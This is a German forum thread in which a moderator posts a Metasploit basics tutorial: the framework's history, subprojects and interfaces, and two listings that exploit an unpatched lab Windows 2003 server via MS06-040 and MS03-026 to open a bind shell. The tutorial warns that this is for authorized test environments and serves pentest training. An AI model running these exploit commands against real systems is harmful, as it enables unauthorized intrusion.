Page 1 of 2 12 LastLast
Results 1 to 10 of 14

Thread: Metasploit Exploiting Framework – the basics

  1. #1
    Moderator
    Join Date
    Jan 2010
    Posts
    167

    Default Metasploit Exploiting Framework – the basics

    Vor allem im professionellen Pentesting Umfeld nehmen Exploiting Frameworks mittlerweile eine nicht mehr wegzudenkende Rolle ein. Neben den auf einschlägigen Webseiten erhältlichen Exploits bieten diese Frameworks teilweise eine vollständige Pentesting Umgebung an. Mit dieser Umgebung können neben dem eigentlichen Exploitingvorgang auch verschiedenste weitere Aufgaben eines Pentests erfüllt werden.

    Einführung

    Die Möglichkeiten reichen von der Integration unterschiedlichster Portscanner und Vulnerability Scanner bis hin zum teilweise oder vollständig automatisierten Exploitingvorgang ganzer Netzwerkbereiche. Im Anschluss an den Penetrationstest werden Abschlussberichte, die gefundene Schwachstellen zusammenfassend darstellen, teilweise automatisiert erstellt.

    In der ersten Phase eines angekündigten Pentests untersucht der Prüfer seine Ziele auf offene Ports und versucht anschließend die dahinter liegenden Dienste zu identifizieren. Auf Basis dieser Informationen wird im Internet nach möglichen Angriffspunkten recherchiert. Werden Angriffspunkte gefunden wird nun nach vorhandenen Tools/Exploits und Vorgehensweisen gesucht, um diese Schwachstellen auszunutzen bzw. zu verifizieren, ob die potentielle Schwachstelle auch tatsächlich eine Bedrohung darstellt. Würden diese Tests rein manuell durchgeführt werden, käme es bei umfangreichen Netzwerkumgebungen zwangsweise zu sehr zeitintensiven Aufwänden. Derartige vollständig manuelle Tests können für Unternehmen zu einer enormen finanziellen Belastung werden. Glücklicherweise lassen sich einige Bereiche solcher Sicherheitsanalysen teilweise automatisieren. Verschiedene Port- und Schwachstellenscanner, wie beispielsweise Nmap, Nessus, OpenVAS und Saint geben dem Pentester in weiten Bereichen eine sehr gute erste Einschätzung des sicherheitstechnischen Zustandes der zu auditierenden Systeme.

    In der zweiten Phase, der Suche nach Exploits, kommen nun erstmals Exploiting Frameworks zum Einsatz. Die meisten Exploiting Frameworks unterstützen den Tester bereits in einem sehr frühen Auditierungsstadium mit direkt integrierten Port und Vulnerability Scannern oder unterschiedlichen Modulen zur Informationsgewinnung. Als sehr geeignet ist hier das umfangreiche Pentesting Framework CoreImpact des Herstellers Core Security anzusehen. CoreImpact vereint Portscanner, Schwachstellenscanner, Exploiting Framework und Dokumentationstool in einer bedienungsfreundlichen Oberfläche. Die überaus hohe Preisklasse macht diesen Toolkit aber zugleich für viele Pentester unerschwinglich. Der folgende Artikel bzw. die folgende Artikelserie wird sich deshalb alternativ mit ähnlichen Funktionen im Exploiting Framework Metasploit beschäftigen. Metasploit ist wohl das derzeit umfangreichste Framework auf Open Source Basis, welches sich vor allem auf Grund seines freien Charakters hoher Beliebtheit im IT Security Bereich erfreut.

    Geschichtliche Entwicklung

    Im folgenden Abschnitt behandeln wir kurz die Entstehungsgeschichte von Metasploit und wie es zu dem sehr umfangreichen und populären Projekt, wie wir es heute kennen, gewachsen ist.

    Das Metasploit Projekt wurde im Jahr 2003 von HD Moore gegründet und enthielt in seiner initialen Version 1.0 insgesamt 11 Exploits und ein paar wenige Payloads. In dieser Zeit war Metasploit neben den beiden kommerziellen Produkten CoreImpact und Immunity Canvas eines der wenigen Projekte, das Exploiting Technologien in einem vollständigen Framework zur Verfügung stellte.
    Seit dem Beginn der Entwicklung dieses Open Source Frameworks löst seine freie Natur in regelmäßigen Abständen Diskussionen darüber aus, ob Exploiting Technologien in einem Open Source Framework für jedermann zur Verfügung stehen sollen. Eine Meinung darüber sollte sich jeder Leser selbst bilden.

    Die Version 2.0 wurde vollständig neu geschrieben. Mit Version 2.2 wurden erstmals erweiterte Payloads, wie beispielsweise der Meterpreter Payload, auf den in einer der nächsten Ausgaben noch näher eingegangen wird, eingeführt. Bis zur Version 2.7 kam Metasploit auf über 44.000 Zeilen Sourcecode in Perl und damit auf über 150 Module. Mit der Version 3 wurde Metasploit erneut vollständig neu geschrieben. Die Entwickler wendeten sich von Perl ab und verwendeten nun Ruby als primäre Entwicklungssprache. Version 3.1 enthielt bereits über 150.000 Codezeilen und 450 Module. Mit Version 3.2 waren es bereits über 300.000 Zeilen Code und über 570 Module. Derzeit enthält Metasploit rund 790 Module, 420.000 Zeilen Sourcecode und es wurde in über 210 Büchern erwähnt.

    Metasploit läuft nicht nur auf den üblichen Plattformen wie Windows, Linux, BSD und Mac OS X, sondern beispielsweise auch auf einem gejailbreakten IPhone/IPod Touch oder auf einem WLAN Router mit OpenWRT als Betriebssystem.

    Durch die sehr rege Entwicklung von Metasploit kann es sich als das derzeit größte auf Ruby basierende Projekt der Welt bezeichnen.

    Metasploit ++

    Wie bereits erwähnt, handelt es sich bei Metasploit um ein Framework, das eine solide Basis für weitere Projekte und Tools darstellt. Neben dem eigentlichen Grundsystem, worüber verschiedenste Exploits implementiert und über eine Command Line Interface (CLI) zur Verfügung gestellt werden, gibt es verschiedene Unterprojekte die teilweise direkt im Framework integriert sind und teilweise als eigenständiges Projekt gepflegt werden.

    Folgende Unter- bzw. Teilprojekte stellen einen Auszug des Metasploit Frameworks dar:

    • Metasploit Anti-Forensics Project


    Unter dem Titel „Metasploit Anti-Forensics Project“ kam es zur Entwicklung verschiedener Anti-Forensik Tools, die mittlerweile in das Metasploit Framework integriert wurden. Ziel dieser Tools ist es, wie der Name schon sagt, forensische Analysen im Anschluss an einen Angriff erheblich zu erschweren. Auf der Webseite des Projektes sind diverse Präsentationen zu finden in denen dieser Toolkit und weitere Hintergrundinformationen, wie die Funktionsweise, sehr detailliert beschrieben werden.


    • Webgui/Gui/Cli


    Metasploit stellt unterschiedliche Benutzerschnittstellen zur Verfügung. Darunter ist die in Abbildung 1 dargestellte msfconsole, wie auch eine GUI (Abbildung 2) und ein Webinterface (Abbildung 3). Im Rahmen dieser Artikelserie kommt in erster Linie die msfconsole und die msfcli zur Anwendung.

    • Webseite mit Payload Generator


    Die Metasploit Webseite enthält eine Demonstrationsversion der Opcode Datenbank und des Shellcode Generators. Um beispielsweise einen vorhandenen Exploit mit einem speziellen Payload auszustatten, wird der Online Shellcode Generator häufig Anwendung finden.

    • Autopwn


    Die Autopwn Funktion integriert bereits vorhandene Ergebnisse eines Nmap Portscans wie auch eines Nessus Vulnerabilty Scans und ermöglicht auf Grund dieser Ergebnisse einen vollständig automatisierten Exploitingvorgang ganzer Netzwerkbereiche.

    • WarVOX


    Software für Wardialing im VoiP Bereich war lange Zeit Mangelware. Mit WarVOX bereichert HD Moore und sein Team den VoIP Bereich mit neuem Angriffspotential.

    • Client Side Attacks/Browser Autopwn/File Format Exploits


    Client Side Attacks sind derzeit einer der häufigsten und gefährlichsten Angriffspunkte, da hier über Schwachstellen in Clientsoftware unter Umständen in das Firmennetzwerk eingedrungen werden kann. Bei diesem Angriffsvektor kann der Angriff beispielsweise mit Social Engineering Methoden optimiert werden oder er erfolgt über wahllos infizierte Webseiten (Drive by Download).

    • WMAP


    Unter dem Titel WMAP läuft ein Projekt durch das Metasploit für Sicherheitsanalysen von Webapplikationen vorbereitet wird. Derzeit ist WMAP noch in einem sehr frühen Entwicklungsstadium. Durch die Integration in Metasploit und Ratproxy wird dieses Tool aber sicherlich sehr bald eine interessante Ergänzung für das Metasploit Framework.

    • Karmetasploit


    Karmetasploit ist die Integration des Karma Tools in das Metasploit Framework. Mit Karma wird versucht, WLAN Clients automatisiert an den eigenen Access Point zu binden. Anschließend wird mit Metasploit der Exploitingvorgang dieser Clients durchgeführt. Die Kombination dieser beiden Tools kommt in Karmetasploit zur Geltung.

    Metasploit Grundlagen

    Die im Artikel angeführten Beispiele basieren, soweit nicht anders dargestellt, auf der jeweils aktuellen SVN-Version von Metasploit. Als Betriebssystem wird ein Backtrack 4 prefinal Linuxsystem verwendet. Normalerweise sollte sich jedes andere Linuxsystem ebenso verwenden lassen. Achten Sie nur darauf, dass die Metasploit Version zumindest der hier eingesetzten Version entspricht. Bei dem eingesetzten Backtrack System, welches im Speziellen auf Pentester ausgelegt ist, wird Metasploit mitgeliefert und bedarf keiner weiteren Installation oder Anpassung. Der Updatevorgang ist, wie in Abbildung 1 dargestellt, durch mitgelieferte Scripte (svn-update.sh) sehr einfach und benutzerfreundlich gelöst.


    Für die erste Einführung beginnen wir mit der grundlegenden Bedienung der unterschiedlichen Metasploit Benutzerschnittstellen. Im Anschluss setzen wir einen ersten Exploit ein und betrachten die Vorgehensweise mit den verschiedenen CLI-Interfaces ebenso wie mit der GUI und der Weboberfläche. Um die vorgeführte Anwendung der Exploits etwas praktischer darzustellen finden Sie unter www.s3cur1ty.de | no one is safe ...ein kurzes Video in dem einer der Exploit schrittweise vorgeführt wird.

  2. #2
    Moderator
    Join Date
    Jan 2010
    Posts
    167

    Default part 2

    Ausgehend vom Metasploit Verzeichnis unter „/pentest/exploits/framework3“ findet man alle weiteren Tools, Exploits und noch vieles mehr. Von hier aus lässt sich die Konsole ebenso starten wie die GUI, die in Abbildung 2 dargestellt ist, oder das Webinterface welches in Abbildung 3 abgebildet ist.


    Das Webinterface startet seinen eigenen Webserver auf Port 55555 und ist mit jedem üblichen Browser aufrufbar. Aus Sicherheitsgründen wird dieses Webinterface in der Default Einstellung auf das lokale loopback Interface gebunden. Wie in Listing 1 dargestellt ist, kann eine Anpassung der genannten Optionen per CLI Parameter erfolgen.

    Code:
    Listing 1: msfweb – Optionen
    m1k3@m1k3BT:/pentest/exploits/framework3$ ./msfweb -h
    Usage: msfweb <options>
    OPTIONS:
        -a <opt>  Bind to this IP address instead of loopback
        -d        Daemonize the web server
        -h        Help banner
        -p <opt>  Bind to this port instead of 55555
        -s        Automatically open the browser


    Der Aufruf von „./msfcli“ zeigt alle vorhandenen Module an und kehrt anschließend wieder auf die Linux CLI zurück. Durch dieses Verhalten eignet sich die msfcli sehr gut zur weiteren Filterung und Bearbeitung beispielsweise mit grep oder anderen Linuxtools. Ein ähnliches Verhalten lässt sich unter Einsatz der msfconsole mit dem Kommando „show“ erzielen. Will man nun beispielsweise alle Exploits für Windows Betriebssysteme auflisten, lässt sich dies sehr einfach mit der in Abbildung 4 dargestellten Kommandozeile bewerkstelligen.



    Eine weitere Filterung lässt sich durch ein zusätzliches „| grep SUCHBEGRIFF“ bewerkstelligen. In der msfconsole ist ein ähnliches Verhalten mit dem Kommando „search exploits smb“ möglich. Wurde ein passender Exploit gefunden, ist es möglich mit dem Kürzel „S“ für Summary weitere Informationen zu dem ausgewählten Exploit abzurufen. Mit dieser Option erhält man eine kurze Beschreibung des Exploits, Informationen zum Payload und zu den Systemen, für die der Exploit verwendet werden kann. Weitere Angaben sind der Autor des Exploits und die Optionen, die der Exploit für seine Ausführung benötigt. Letztere lassen sich auch mit der Option „O“ abrufen. In der msfconsole ist es möglich, diese Informationen mit „info EXPLOIT“ anzuzeigen.

    Metasploit in der Anwendung

    Als erstes Beispiel wird, wie in Abbildung 5 dargestellt, ein frisch installierter Windows 2003 Server ohne weitere Patches angegriffen und in weiterer Folge vollständig übernommen (geowned). In diesem Pentestingvorgang wird das System mit Nmap erkannt und auf weitere Dienste untersucht. Anschließend wird im Metasploit Framework ein passender Exploit gewählt und damit versucht, das System zu übernehmen. Bei dem gesamten Vorgang wird davon ausgegangen, dass sich das Zielsystem im selben Netzwerkbereich befindet und weder Härtungsvorgänge angewendet noch Updates eingespielt wurden.



    Für uns als Angreifer sind in erster Linie die Exploits von Interesse, mit denen wir über das Netzwerk Zugriff auf das System erlangen. Exploits dieser Art werden im Normalfall als Remote Exploits bezeichnet. Hat man beispielsweise den Windows Exploit ms06_040_netapi ausgewählt, muss man die benötigten Optionen des anzugreifenden Hosts setzen und anschließend einen Payload auswählen. In dem dargestellten Beispiel wird eine typische Bind-Shell als Payload verwendet. Nach der Wahl des Payloads erhalten wir mit einem weiteren „O“ die Optionen des Payloads und sobald diese korrekt gesetzt sind können wir den Exploit mit einem „E“ zur Ausführung bringen. Metasploit wendet nun den gewählten Exploit an und führt bei erfolgreichem Exploitingvorgang den gewählten Payload aus. In dem in Listing 2 dargestellten Fall wird auf dem Zielsystem eine Systemshell auf Port 4444 gebunden auf die sich Metasploit direkt verbindet und wir somit ohne weitere Umwege Zugriff auf das Zielsystem erhalten.

    In Listing 2 wird der vollständige Verlauf des beschriebenen Exploitingvorganges unter Verwendung der msfcli dargestellt.

    Code:
    Listing 2: Exploiting ms06-040 (Ausgabe verkürzt)
    20:05:56 m1k3BT /pentest/exploits/framework3 [root]nmap -sSV 192.168.1.107
    Interesting ports on 192.168.1.107:
    PORT     STATE SERVICE      VERSION
    135/tcp  open  msrpc        Microsoft Windows RPC
    139/tcp  open  netbios-ssn
    445/tcp  open  microsoft-ds Microsoft Windows 2003 microsoft-ds
    1025/tcp open  msrpc        Microsoft Windows RPC
    1026/tcp open  msrpc        Microsoft Windows RPC
    
    20:08:19 m1k3BT /pentest/exploits/framework3 [root]./msfcli exploit/windows/smb/ms06_040_netapi RHOST=192.168.1.107 
    PAYLOAD=windows/shell/bind_tcp E
    [*] Please wait while we load the module tree...[*] Started bind handler[*] Detected a Windows 2003 SP0 target[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.1.107[\BROWSER] ...[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.1.107[\BROWSER] ...[*] Building the stub data...[*] Calling the vulnerable function...[*] Sending stage (474 bytes)[*] Command shell session 1 opened (192.168.1.106:42715 -> 192.168.1.107:4444)
    
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.
    C:\WINDOWS\system32>
    Wird die msfconsole verwendet, ist es möglich auf die Autovervollständigung der Konsole zurückgreifen. In den Untermodus des Exploits wird mit „use EXPLOIT“ gewechselt. Mit „info“ können die bereits dargestellten Exploit Details abgerufen werden. Der Befehl „show options“ gibt die benötigten Optionen des Exploits preis, die beispielsweise mit der Eingabe „set RHOST ZIEL-IP“ gesetzt werden können. Nachdem mit „show payloads“ ein Payload gewählt wurde, kann der Exploit mit dem Befehl „exploit“ zur Anwendung gebracht werden.

    Für den bereits dargestellten Windows 2003 Server gibt es einen weiteren funktionierenden Exploit der in Listing 3 vorgestellt wird.

    Code:
    Listing 3: Exploiting ms03-026 (Ausgabe verkürzt)
    
    20:30:58 m1k3BT /pentest/exploits/framework3 [root]./msfconsole
    msf > search ms03[*] Searching loaded modules for pattern 'ms03'...
    Exploits
    ========
       Name                                    Description
       ----                                    -----------
       windows/browser/ms03_020_ie_objecttype  MS03-020 Internet Explorer Object Type
       windows/dcerpc/ms03_026_dcom            Microsoft RPC DCOM Interface Overflow
       windows/iis/ms03_007_ntdll_webdav       Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
       windows/isapi/fp30reg_chunked           Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow
       windows/isapi/nsiislog_post             Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow
       windows/smb/ms03_049_netapi             Microsoft Workstation Service NetAddAlternateComputerName Overflow
    msf > use exploit/windows/dcerpc/ms03_026_dcom
    
    msf exploit(ms03_026_dcom) > show options
    
    Module options:
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       RHOST                   yes       The target address
       RPORT  135              yes       The target port
    
    Exploit target:
       Id  Name
       --  ----
       0   Windows NT SP3-6a/2000/XP/2003 Universal
    
    msf exploit(ms03_026_dcom) > set RHOST 192.168.1.107
    RHOST => 192.168.1.107
    
    
    msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp
    PAYLOAD => windows/shell/bind_tcp
    
    msf exploit(ms03_026_dcom) > exploit
    [*] Started bind handler[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.107[135] ...[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.107[135] ...[*] Sending exploit ...[*] The DCERPC service did not reply to our request[*] Sending stage (474 bytes)[*] Command shell session 1 opened (192.168.1.106:38947 -> 192.168.1.107:4444)
    
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.
    C:\WINDOWS\system32>
    Ein erfolgreicher Exploitingvorgang hängt von vielen unterschiedlichen Faktoren ab. Falls der dargestellte Exploitingvorgang nicht auf Anhieb erfolgreich ist sollten Sie erst den Patchlevel des Zielsystems prüfen. Idealerweise verwenden Sie ein frisch installiertes System und spielen auf diesem System keine Updates und keine weitere Software ein. Manche Exploits des Frameworks funktionieren stabiler als andere wodurch häufig ein Neustart des Zielsystems Abhilfe bei nicht funktionierenden Exploits schafft.

  3. #3
    Moderator
    Join Date
    Jan 2010
    Posts
    167

    Default part 3

    Video und weitere Informationen
    Online unter www.s3cur1ty.de | no one is safe ... ist ein Video Tutorial vorhanden, welches den beschriebenen Vorgang mit der msfcli, der msfconsole, wie auch mit der GUI und der Weboberfläche darstellt. Für den vorgeführten Exploitingvorgang wurde im Video als Zielsystem dasselbe Windows 2003 Serversystem eingesetzt, das auch in den Beispielen dieses Artikels verwendet wird. Für die Nachstellung dieser Exploiting Vorgänge reicht die Installation eines Windows 2003 Serversystems in einer VMware aus.

    An dieser Stelle muss ausdrücklich festgehalten werden, dass der beschriebene Exploitingvorgang ausschließlich in einer gesicherten Testumgebung zur Anwendung gebracht werden darf. Werden Angriffe dieser Art auf Systemen durchgeführt, für die keine ausdrückliche Erlaubnis erteilt wurde, stellt dies unter Umständen eine strafrechtlich relevante Handlung dar. Für den Aufbau einer Testumgebung in der solche Exploits und weitere Angriffstechniken zur Anwendung gebracht werden können, verweise ich auf den Artikel „Sichere Umgebung für Penetration Testing“ in Ausgabe 02/2009.

    Im Internet - Sources


  4. #4
    Junior Member
    Join Date
    Mar 2009
    Posts
    77

    Default

    Das nenne ich mal einen richtig guten und ausführlichen Beitrag.
    Vielen Dank dafür!

  5. #5
    Moderator
    Join Date
    Jan 2010
    Posts
    167

    Default

    thx ... ajo und lasst mich wissen worüber ihr im Bereich Metasploit mehr lesen wollt ...

    m-1-k-3

  6. #6
    Moderator KMDave's Avatar
    Join Date
    Jan 2010
    Posts
    2,281

    Default

    Sehr sehr schoener Beitrag m-1-k-3

    Dieser Beitrag wird auch bald auf der neuen Homepage mit auftauchen denke ich
    Tiocfaidh ár lá

  7. #7
    Junior Member
    Join Date
    Mar 2009
    Posts
    77

    Default

    Also mich persönlich würd was zum Teil "Clientside Attacks"
    sowohl durch Social Engeniering als vorallem auch durch "drive-by-downloads" interessieren!

  8. #8
    Moderator
    Join Date
    Jan 2010
    Posts
    167

    Default

    Quote Originally Posted by hardez View Post
    Also mich persönlich würd was zum Teil "Clientside Attacks"
    sowohl durch Social Engeniering als vorallem auch durch "drive-by-downloads" interessieren!
    Steht bereits auf der Agenda ... wird aber ne Weile dauern

    m-1-k-3

  9. #9
    Moderator fancy's Avatar
    Join Date
    Jan 2010
    Posts
    204

    Default

    Quote Originally Posted by hardez View Post
    Also mich persönlich würd was zum Teil "Clientside Attacks"
    sowohl durch Social Engeniering als vorallem auch durch "drive-by-downloads" interessieren!
    Hmm....warst Du auf dem BT Day???

  10. #10
    Junior Member
    Join Date
    Mar 2009
    Posts
    77

    Default

    Ne habs leider verpasst -.-
    Wollte eigentlich kommen, aber leider is Uni momentan etwas stressig.
    War das ein Thema da?
    Naja aber ich bin ja sicherlich nicht der einzige der nicht da war, von daher ist so ein ausführliches Tutorial schon wünschenswert.

    Edit: Wo wir grad beim Thema sind, wollte noch fragen ob ihr die Vorträge eigentlich abgefilmt habt?
    Wir bei anderen Cons ja auch gemacht...
    Falls ja wann und wo werden die zu sehen sein?

Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •